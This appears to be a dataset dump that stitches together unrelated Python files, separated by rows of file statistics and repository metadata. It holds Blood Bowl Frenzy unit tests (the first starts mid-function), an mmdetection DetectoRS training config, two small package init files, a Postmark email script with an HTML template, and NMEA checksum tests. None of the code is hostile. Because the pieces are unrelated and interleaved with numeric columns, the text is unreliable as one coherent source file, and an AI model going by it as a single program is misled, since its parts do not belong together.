game = get_game_turn()
team = game.get_agent_team(game.actor)
# get a player
players = game.get_players_on_pitch(team, False, True)
attacker = None
defender = None
for p in players:
if p.team != team:
continue
attacker = p
adjacent = game.get_adjacent_opponents(attacker)
if len(adjacent) > 0:
attacker.extra_skills.append(Skill.FRENZY)
defender = adjacent[0]
break
defender_pos = Square(defender.position.x, defender.position.y)
BBDie.fix_result(BBDieResult.PUSH)
BBDie.fix_result(BBDieResult.PUSH)
BBDie.fix_result(BBDieResult.PUSH)
BBDie.fix_result(BBDieResult.PUSH)
game.step(Action(ActionType.START_BLOCK, player=attacker))
game.step(Action(ActionType.BLOCK, position=defender.position))
game.step(Action(ActionType.SELECT_PUSH))
game.step(Action(ActionType.PUSH, position=game.get_available_actions()[0].positions[0]))
assert attacker.position == defender_pos
defender_pos = Square(defender.position.x, defender.position.y)
assert game.state.active_player is attacker
game.step(Action(ActionType.SELECT_PUSH))
game.step(Action(ActionType.PUSH, position=game.get_available_actions()[0].positions[0]))
assert attacker.position == defender_pos
assert game.state.active_player is not attacker
def test_frenzy_blitz():
game = get_game_turn()
team = game.get_agent_team(game.actor)
# get a player
players = game.get_players_on_pitch(team, False, True)
attacker = None
defender = None
for p in players:
if p.team != team:
continue
attacker = p
adjacent = game.get_adjacent_opponents(attacker)
if len(adjacent) > 0:
attacker.extra_skills.append(Skill.FRENZY)
defender = adjacent[0]
break
defender_pos = Square(defender.position.x, defender.position.y)
BBDie.fix_result(BBDieResult.PUSH)
BBDie.fix_result(BBDieResult.PUSH)
BBDie.fix_result(BBDieResult.PUSH)
BBDie.fix_result(BBDieResult.PUSH)
game.step(Action(ActionType.START_BLITZ, player=attacker))
game.step(Action(ActionType.BLOCK, position=defender.position))
game.step(Action(ActionType.SELECT_PUSH))
game.step(Action(ActionType.PUSH, position=game.get_available_actions()[0].positions[0]))
assert attacker.position == defender_pos
defender_pos = Square(defender.position.x, defender.position.y)
assert game.state.active_player is attacker
game.step(Action(ActionType.SELECT_PUSH))
game.step(Action(ActionType.PUSH, position=game.get_available_actions()[0].positions[0]))
assert attacker.position == defender_pos
assert game.state.active_player is attacker
def test_frenzy_knocked_down():
game = get_game_turn()
team = game.get_agent_team(game.actor)
# get a player
players = game.get_players_on_pitch(team, False, True)
attacker = None
defender = None
for p in players:
if p.team != team:
continue
attacker = p
adjacent = game.get_adjacent_opponents(attacker)
if len(adjacent) > 0:
attacker.extra_skills.append(Skill.FRENZY)
defender = adjacent[0]
break
defender_pos = Square(defender.position.x, defender.position.y)
BBDie.fix_result(BBDieResult.DEFENDER_DOWN)
BBDie.fix_result(BBDieResult.DEFENDER_DOWN)
game.step(Action(ActionType.START_BLOCK, player=attacker))
game.step(Action(ActionType.BLOCK, position=defender.position))
game.step(Action(ActionType.SELECT_DEFENDER_DOWN))
game.step(Action(ActionType.PUSH, position=game.get_available_actions()[0].positions[0]))
assert attacker.position == defender_pos
assert game.state.active_player is not attacker
| 39.40404
| 93
| 0.707511
| 501
| 3,901
| 5.343313
| 0.133733
| 0.044453
| 0.083676
| 0.143444
| 0.955921
| 0.955921
| 0.933134
| 0.930146
| 0.930146
| 0.930146
| 0
| 0.005068
| 0.19072
| 3,901
| 98
| 94
| 39.806122
| 0.842889
| 0.009741
| 0
| 0.910112
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11236
| 1
| 0.033708
| false
| 0
| 0.033708
| 0
| 0.067416
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7f27a9dff94165e344474a2bc79da7096be0e0b5
| 12,637
|
py
|
Python
|
configs/detectors/detectors_cascade_rcnn_r50_1x_coco.py
|
Gugan0905/steel-defect-detection
|
fd2f177ec0f04d319d1f47d93d44dc11d283b833
|
[
"Apache-2.0"
] | 2
|
2021-06-29T05:51:30.000Z
|
2021-10-17T17:42:47.000Z
|
configs/detectors/detectors_cascade_rcnn_r50_1x_coco.py
|
Gugan0905/steel-defect-detection
|
fd2f177ec0f04d319d1f47d93d44dc11d283b833
|
[
"Apache-2.0"
] | null | null | null |
configs/detectors/detectors_cascade_rcnn_r50_1x_coco.py
|
Gugan0905/steel-defect-detection
|
fd2f177ec0f04d319d1f47d93d44dc11d283b833
|
[
"Apache-2.0"
] | null | null | null |
'''_base_ = [
'../_base_/models/cascade_rcnn_r50_fpn.py',
'../_base_/datasets/coco_detection.py',
'../_base_/schedules/schedule_1x.py', '../_base_/default_runtime.py'
]
model = dict(
backbone=dict(
type='DetectoRS_ResNet',
conv_cfg=dict(type='ConvAWS'),
sac=dict(type='SAC', use_deform=True),
stage_with_sac=(False, True, True, True),
output_img=True),
neck=dict(
type='RFP',
rfp_steps=2,
aspp_out_channels=64,
aspp_dilations=(1, 3, 6, 1),
rfp_backbone=dict(
rfp_inplanes=256,
type='DetectoRS_ResNet',
depth=50,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
norm_eval=True,
conv_cfg=dict(type='ConvAWS'),
sac=dict(type='SAC', use_deform=True),
stage_with_sac=(False, True, True, True),
pretrained='torchvision://resnet50',
style='pytorch')))'''
base = [
'base/models/cascade_rcnn_r50_fpn.py',
#'../base/datasets/coco_detection.py',
#'../base/schedules/schedule_1x.py', '../base/default_runtime.py'
]
model = dict(
backbone=dict(
type='DetectoRS_ResNeXt',
#conv_cfg=dict(type='ConvAWS'),
sac=dict(type='SAC', use_deform=True),
stage_with_sac=(False, True, True, True),
dcn=dict(type='DCN', deform_groups=1, fallback_on_stride=False),
stage_with_dcn=(False, True, True, True),
output_img=True),
neck=dict(
type='RFP',
rfp_steps=2,
aspp_out_channels=64,
aspp_dilations=(1, 3, 6, 1),
rfp_backbone=dict(
rfp_inplanes=256,
type='DetectoRS_ResNeXt',
depth=101,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
norm_eval=True,
#conv_cfg=dict(type='ConvAWS'),
sac=dict(type='SAC', use_deform=True),
stage_with_sac=(False, True, True, True),
dcn=dict(type='DCN', deform_groups=1, fallback_on_stride=False),
stage_with_dcn=(False, True, True, True),
pretrained='open-mmlab://resnext101_32x4d',
style='pytorch')))
dataset_type = 'CustomDataset'
data_root = 'data/'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
albu_train_transforms = [
dict(
type='ShiftScaleRotate',
shift_limit=0.0625,
scale_limit=0.0,
rotate_limit=0,
interpolation=1,
p=0.5),
dict(
type='RandomBrightnessContrast',
brightness_limit=[0.1, 0.3],
contrast_limit=[0.1, 0.3],
p=0.2),
dict(
type='OneOf',
transforms=[
dict(
type='RGBShift',
r_shift_limit=10,
g_shift_limit=10,
b_shift_limit=10,
p=1.0),
dict(
type='HueSaturationValue',
hue_shift_limit=20,
sat_shift_limit=30,
val_shift_limit=20,
p=1.0)
],
p=0.1),
dict(type='JpegCompression', quality_lower=85, quality_upper=95, p=0.2),
dict(type='ChannelShuffle', p=0.1),
dict(
type='OneOf',
transforms=[
dict(type='Blur', blur_limit=3, p=1.0),
dict(type='MedianBlur', blur_limit=3, p=1.0)
],
p=0.1)
]
train_pipeline = [
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True, with_mask=True),
dict(
type='Resize',
multiscale_mode='range',
img_scale=[(1333, 800), (1333, 1200)],
keep_ratio=True),
dict(type='Pad', size_divisor=32),
dict(
type='Albu',
transforms=[
dict(
type='ShiftScaleRotate',
shift_limit=0.0625,
scale_limit=0.0,
rotate_limit=0,
interpolation=1,
p=0.5),
dict(
type='RandomBrightnessContrast',
brightness_limit=[0.1, 0.3],
contrast_limit=[0.1, 0.3],
p=0.2),
dict(
type='OneOf',
transforms=[
dict(
type='RGBShift',
r_shift_limit=10,
g_shift_limit=10,
b_shift_limit=10,
p=1.0),
dict(
type='HueSaturationValue',
hue_shift_limit=20,
sat_shift_limit=30,
val_shift_limit=20,
p=1.0)
],
p=0.1),
dict(
type='JpegCompression',
quality_lower=85,
quality_upper=95,
p=0.2),
dict(type='ChannelShuffle', p=0.1),
dict(
type='OneOf',
transforms=[
dict(type='Blur', blur_limit=3, p=1.0),
dict(type='MedianBlur', blur_limit=3, p=1.0)
],
p=0.1)
],
bbox_params=dict(
type='BboxParams',
format='pascal_voc',
label_fields=['gt_labels'],
min_visibility=0.0,
filter_lost_elements=True),
keymap=dict(img='image', gt_masks='masks', gt_bboxes='bboxes'),
update_pad_shape=False,
skip_img_without_anno=True),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='DefaultFormatBundle'),
dict(
type='Collect',
keys=['img', 'gt_bboxes', 'gt_labels', 'gt_masks'],
meta_keys=('filename', 'ori_shape', 'img_shape', 'img_norm_cfg',
'pad_shape', 'scale_factor'))
]
test_pipeline = [
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=[(1333, 800), (1333, 1200)],
transforms=[
dict(type='Resize', multiscale_mode='range', keep_ratio=True),
dict(type='RandomFlip', flip_ratio=1.0),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img'])
])
]
data = dict(
samples_per_gpu=1,
workers_per_gpu=1,
train=dict(
type='CustomDataset',
ann_file='data/train_80_mmdetection.pkl',
img_prefix='data/train/',
pipeline=[
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True, with_mask=True),
dict(
type='Resize',
multiscale_mode='range',
img_scale=[(1333, 800), (1666, 1000)],
keep_ratio=True),
dict(type='Pad', size_divisor=32),
dict(
type='Albu',
transforms=[
dict(
type='ShiftScaleRotate',
shift_limit=0.0625,
scale_limit=0.0,
rotate_limit=0,
interpolation=1,
p=0.5),
dict(
type='RandomBrightnessContrast',
brightness_limit=[0.1, 0.3],
contrast_limit=[0.1, 0.3],
p=0.2),
dict(
type='OneOf',
transforms=[
dict(
type='RGBShift',
r_shift_limit=10,
g_shift_limit=10,
b_shift_limit=10,
p=1.0),
dict(
type='HueSaturationValue',
hue_shift_limit=20,
sat_shift_limit=30,
val_shift_limit=20,
p=1.0)
],
p=0.1),
dict(
type='JpegCompression',
quality_lower=85,
quality_upper=95,
p=0.2),
dict(type='ChannelShuffle', p=0.1),
dict(
type='OneOf',
transforms=[
dict(type='Blur', blur_limit=3, p=1.0),
dict(type='MedianBlur', blur_limit=3, p=1.0)
],
p=0.1)
],
bbox_params=dict(
type='BboxParams',
format='pascal_voc',
label_fields=['gt_labels'],
min_visibility=0.0,
filter_lost_elements=True),
keymap=dict(img='image', gt_masks='masks', gt_bboxes='bboxes'),
update_pad_shape=False,
skip_img_without_anno=True),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='DefaultFormatBundle'),
dict(
type='Collect',
keys=['img', 'gt_bboxes', 'gt_labels', 'gt_masks'],
meta_keys=('filename', 'ori_shape', 'img_shape',
'img_norm_cfg', 'pad_shape', 'scale_factor'))
]),
val=dict(
type='CustomDataset',
ann_file='data/val_10_mmdetection.pkl',
img_prefix='data/train/',
pipeline=[
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=[(1333, 800), (1666, 1000)],
transforms=[
dict(
type='Resize',
multiscale_mode='range',
keep_ratio=True),
dict(type='RandomFlip', flip_ratio=1.0),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img'])
])
]),
test=dict(
type='CustomDataset',
ann_file='data/test_10_mmdetection.pkl',
img_prefix='data/train/',
pipeline=[
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=[(1333, 200), (1999, 1000)],
transforms=[
dict(
type='Resize',
multiscale_mode='range',
keep_ratio=True),
dict(type='RandomFlip', flip_ratio=1.0),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img'])
])
]))
evaluation = dict(interval=1, metric='mAP')
optimizer = dict(type='SGD', lr=0.001, momentum=0.9, weight_decay=0.0001)
optimizer_config = dict(grad_clip=dict(max_norm=35, norm_type=2))
lr_config = dict(
policy='step',
warmup='linear',
warmup_iters=500,
warmup_ratio=0.3333333333333333,
step=[8, 11])
checkpoint_config = dict(interval=1)
log_config = dict(interval=64, hooks=[dict(type='TextLoggerHook')])
total_epochs = 30
dist_params = dict(backend='nccl')
log_level = 'INFO'
work_dir = './work_dirs/cascade_rcnn_x101_32x4d_fpn_1x_detectoRS_RFP'
load_from = None
resume_from = None
workflow = [('train', 1)]
| 35.102778
| 79
| 0.460631
| 1,289
| 12,637
| 4.305663
| 0.19007
| 0.134054
| 0.03027
| 0.016216
| 0.878018
| 0.874414
| 0.852072
| 0.852072
| 0.852072
| 0.852072
| 0
| 0.074034
| 0.409987
| 12,637
| 359
| 80
| 35.200557
| 0.670333
| 0.095988
| 0
| 0.79375
| 0
| 0
| 0.128515
| 0.024179
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7f49631caf1a82bfa83ea0e3e29baf92545a981f
| 127
|
py
|
Python
|
server/handler/__init__.py
|
10000ms/aiohttp_redis_unit
|
7b7aca87b73991c54a68ced39c01ecbc735c6e42
|
[
"MIT"
] | null | null | null |
server/handler/__init__.py
|
10000ms/aiohttp_redis_unit
|
7b7aca87b73991c54a68ced39c01ecbc735c6e42
|
[
"MIT"
] | null | null | null |
server/handler/__init__.py
|
10000ms/aiohttp_redis_unit
|
7b7aca87b73991c54a68ced39c01ecbc735c6e42
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from server.handler import message
from server.handler import session
from server.handler import error
| 25.4
| 34
| 0.771654
| 18
| 127
| 5.444444
| 0.555556
| 0.306122
| 0.520408
| 0.704082
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009091
| 0.133858
| 127
| 4
| 35
| 31.75
| 0.881818
| 0.165354
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
7f51724717a7ee82d1400c2490ddc6b3a7e031ea
| 57
|
py
|
Python
|
hnapi/__init__.py
|
rylans/hackernews-top
|
c9fb0b6442c204b4f94e636889de1eb7be01fcd3
|
[
"Apache-2.0"
] | 10
|
2015-02-23T00:34:08.000Z
|
2021-09-08T18:42:46.000Z
|
hnapi/__init__.py
|
rylans/hackernews-top
|
c9fb0b6442c204b4f94e636889de1eb7be01fcd3
|
[
"Apache-2.0"
] | 6
|
2015-01-23T21:21:41.000Z
|
2016-04-08T22:00:24.000Z
|
hnapi/__init__.py
|
rylans/hackernews-top
|
c9fb0b6442c204b4f94e636889de1eb7be01fcd3
|
[
"Apache-2.0"
] | 3
|
2015-02-23T00:34:09.000Z
|
2020-09-04T13:24:05.000Z
|
from .hnapi import HnApi
from .hnapi import NetworkError
| 19
| 31
| 0.824561
| 8
| 57
| 5.875
| 0.5
| 0.382979
| 0.638298
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140351
| 57
| 2
| 32
| 28.5
| 0.959184
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7f645b5e6084f9159cfbcf91fa3a3875f8adc832
| 9,211
|
py
|
Python
|
email_templates/postmark_formatted_email.py
|
wantsomechocolate/3Muses
|
f195bb4d8f71be09467981e0aea7726951bf1c9a
|
[
"BSD-3-Clause"
] | null | null | null |
email_templates/postmark_formatted_email.py
|
wantsomechocolate/3Muses
|
f195bb4d8f71be09467981e0aea7726951bf1c9a
|
[
"BSD-3-Clause"
] | 26
|
2015-01-02T13:35:48.000Z
|
2015-06-10T14:39:07.000Z
|
email_templates/postmark_formatted_email.py
|
wantsomechocolate/3Muses
|
f195bb4d8f71be09467981e0aea7726951bf1c9a
|
[
"BSD-3-Clause"
] | null | null | null |
## Imports
from postmark import PMMail
import os, ast
## Get the API Key
try:
POSTMARK_API_KEY=os.environ['POSTMARK_API_KEY']
except KeyError:
with open('/home/wantsomechocolate/Code/API Info/api_keys.txt','r') as fh:
text=fh.read()
api_keys=ast.literal_eval(text)
POSTMARK_API_KEY=api_keys['postmark']['test']['POSTMARK_API_KEY']
## Make the html
#html_email="<div background-color=pink>Is pink here again?</div>"
html_email="""<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns="http://www.w3.org/1999/xhtml" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Really Simple HTML Email Template</title>
</head>
<body bgcolor="#f6f6f6" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; -webkit-font-smoothing: antialiased; -webkit-text-size-adjust: none; width: 100% !important; height: 100%; margin: 0; padding: 0;">
<!-- body -->
<table class="body-wrap" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; width: 100%; margin: 0; padding: 20px;"><tr style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"><td style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"></td>
<td class="container" bgcolor="#FFFFFF" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; display: block !important; max-width: 600px !important; clear: both !important; margin: 0 auto; padding: 20px; border: 1px solid #f0f0f0;">
<!-- content -->
<div class="content" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; max-width: 600px; display: block; margin: 0 auto; padding: 0;">
<table style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; width: 100%; margin: 0; padding: 0;"><tr style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"><td style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;">
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;">Hi there,</p>
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;">Sometimes all you want is to send a simple HTML email with a basic design.</p>
<h1 style="font-family: 'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', sans-serif; font-size: 36px; line-height: 1.2; color: #000; font-weight: 200; margin: 40px 0 10px; padding: 0;">Really simple HTML email template</h1>
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;">This is a really simple email template. It's sole purpose is to get you to click the button below.</p>
<h2 style="font-family: 'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', sans-serif; font-size: 28px; line-height: 1.2; color: #000; font-weight: 200; margin: 40px 0 10px; padding: 0;">How do I use it?</h2>
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;">All the information you need is on GitHub.</p>
<table style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; width: 100%; margin: 0; padding: 0;"><tr style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"><td class="padding" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 10px 0;">
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;"><a href="https://github.com/leemunroe/html-email-template" class="btn-primary" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 2; color: #FFF; text-decoration: none; font-weight: bold; text-align: center; cursor: pointer; display: inline-block; border-radius: 25px; background-color: #348eda; margin: 0 10px 0 0; padding: 0; border-color: #348eda; border-style: solid; border-width: 10px 20px;">View the source and instructions on GitHub</a></p>
</td>
</tr></table><p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;">Feel free to use, copy, modify this email template as you wish.</p>
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;">Thanks, have a lovely day.</p>
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.6; font-weight: normal; margin: 0 0 10px; padding: 0;"><a href="http://twitter.com/leemunroe" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; color: #348eda; margin: 0; padding: 0;">Follow @leemunroe on Twitter</a></p>
</td>
</tr></table></div>
<!-- /content -->
</td>
<td style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"></td>
</tr></table><!-- /body --><!-- footer --><table class="footer-wrap" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; width: 100%; clear: both !important; margin: 0; padding: 0;"><tr style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"><td style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"></td>
<td class="container" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; display: block !important; max-width: 600px !important; clear: both !important; margin: 0 auto; padding: 0;">
<!-- content -->
<div class="content" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; max-width: 600px; display: block; margin: 0 auto; padding: 0;">
<table style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; width: 100%; margin: 0; padding: 0;"><tr style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"><td align="center" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;">
<p style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 12px; line-height: 1.6; color: #666; font-weight: normal; margin: 0 0 10px; padding: 0;">Don't like these annoying emails? <a href="#" style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; color: #999; margin: 0; padding: 0;"><unsubscribe style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;">Unsubscribe</unsubscribe></a>.
</p>
</td>
</tr></table></div>
<!-- /content -->
</td>
<td style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 100%; line-height: 1.6; margin: 0; padding: 0;"></td>
</tr></table><!-- /footer --></body>
</html>
"""
## Send the message
message = PMMail(api_key=POSTMARK_API_KEY,
subject="Testing Formatted Emails",
sender="Rebecca@3musesglass.com",
to='wantsomechocolate@gmail.com',
html_body=html_email,
tag="Test")
message.send()
| 118.089744
| 693
| 0.678102
| 1,381
| 9,211
| 4.509051
| 0.152788
| 0.054922
| 0.091537
| 0.146459
| 0.744018
| 0.719929
| 0.719769
| 0.708849
| 0.708849
| 0.703067
| 0
| 0.058933
| 0.126805
| 9,211
| 77
| 694
| 119.623377
| 0.71528
| 0.012919
| 0
| 0.298507
| 0
| 0.38806
| 0.955957
| 0.029729
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.089552
| 0
| 0.089552
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7fa4153e137d24e0c6a95480632b44d93b02b0e0
| 4,350
|
py
|
Python
|
tests/test_formatter.py
|
robonation/nmeaserver
|
5dd35288b271a6a923e7c90ce8ff2c5cc8280cec
|
[
"Apache-2.0"
] | 1
|
2020-07-20T20:23:51.000Z
|
2020-07-20T20:23:51.000Z
|
tests/test_formatter.py
|
robonation/nmeaserver
|
5dd35288b271a6a923e7c90ce8ff2c5cc8280cec
|
[
"Apache-2.0"
] | null | null | null |
tests/test_formatter.py
|
robonation/nmeaserver
|
5dd35288b271a6a923e7c90ce8ff2c5cc8280cec
|
[
"Apache-2.0"
] | 1
|
2019-06-14T19:24:44.000Z
|
2019-06-14T19:24:44.000Z
|
# -*- coding: utf-8 -*-
"""
tests.nmea.formatter
~~~~~~~~~~~~~~~~~~~~~
Test the nmea.formatter module.
:license: APLv2, see LICENSE for more details.
"""
import unittest
from nmea import formatter
class TestStringMethods(unittest.TestCase):
def test_calcchecksum_singledigit(self):
self.assertEqual(formatter.calc_checksum(
"RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2"), '01')
def test_calcchecksum_hex_character(self):
self.assertEqual(formatter.calc_checksum(
"$RBDOK,101218,161229,AUVSI,2*3E"), '3E')
def test_calcchecksum_prefix(self):
self.assertEqual(formatter.calc_checksum(
"$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2"), '01')
def test_calcchecksum_already_has_checksum(self):
self.assertEqual(formatter.calc_checksum(
"$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01"), '01')
def test_formatSentence_missing_prefix(self):
self.assertEqual(
formatter.format(
"RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01"),
'$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01')
def test_formatSentence_missing_checksum(self):
self.assertEqual(
formatter.format("$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2"),
'$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01')
def test_formatSentence_missing_prefix_and_checksum(self):
self.assertEqual(
formatter.format("RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2"),
'$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01')
def test_formatSentence_missing_nothing(self):
self.assertEqual(
formatter.format(
"$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01"),
'$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01')
def test_parseNMEA(self):
nmea_str = '$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2*01'
self.assertEqual(formatter.parse(nmea_str)['talker'], 'RB')
self.assertEqual(formatter.parse(nmea_str)['sentence_type'], 'HRB')
